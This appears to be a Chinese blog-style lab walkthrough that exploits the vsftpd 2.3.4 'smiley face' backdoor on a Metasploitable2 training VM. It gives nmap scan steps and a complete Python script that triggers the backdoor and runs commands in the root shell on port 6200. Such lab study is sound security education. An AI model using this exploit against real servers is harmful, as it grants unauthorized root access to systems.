在Metasploitable2的环境中,vsftpd 2.3.4是一个已知存在漏洞的FTP服务器版本。该漏洞允许通过某种方式向服务器发送恶意代码来开启后门。
首先先安装好Metasploitable2靶机
打开kali root模式 输入ipconfig查看自己的ip
然后输入
nmap 192.168.88.0/24
使用nmap工具,这是我的ip,来进行扫描Metasploitable2的ip

这个开放的端口非常多,一看就是测试靶机
然后对靶机进行扫描

可以看到21端口版本是VSFTPD2.3.4
这时候启动我们的脚本来检测是否存在笑脸漏洞
import socket
import time
def connect_to_ftp(host, port):
try:
# 连接到FTP服务器
ftp_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ftp_socket.connect((host, port))
print(f"成功连接到FTP服务器 {host}:{port}")
# 接收FTP欢迎消息
response = ftp_socket.recv(1024).decode()
print(f"FTP服务器响应: {response}")
# 发送恶意用户名
ftp_socket.send(b'USER hacker:)\r\n')
time.sleep(1)
# 发送密码
ftp_socket.send(b'PASS anypassword\r\n')
time.sleep(1)
response = ftp_socket.recv(1024).decode()
print(f"FTP响应: {response}")
# 检查是否能够连接到后门shell
return check_backdoor_shell(host)
except Exception as e:
print(f"连接FTP服务器失败: {e}")
def check_backdoor_shell(host):
try:
# 连接到6200端口,后门shell可能开启
shell_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
shell_socket.connect((host, 6200))
print("后门shell已打开!连接到6200端口成功。")
# 向shell发送命令,获取root权限
shell_socket.send(b'id\n')
time.sleep(1)
response = shell_socket.recv(1024).decode()
print(f"从shell获得的响应: {response}")
shell_socket.close()
return True
except Exception as e:
print(f"连接6200端口失败: {e}")
return False
if __name__ == "__main__":
target_host = "192.168.88.131" # Metasploitable2的IP地址
target_port = 21 # FTP默认端口
connect_to_ftp(target_host, target_port)

可以看到是存在的。
那同时进行这个漏洞的复现

用nc命令链接到对应的端口

成功了
1万+

被折叠的 条评论
为什么被折叠?



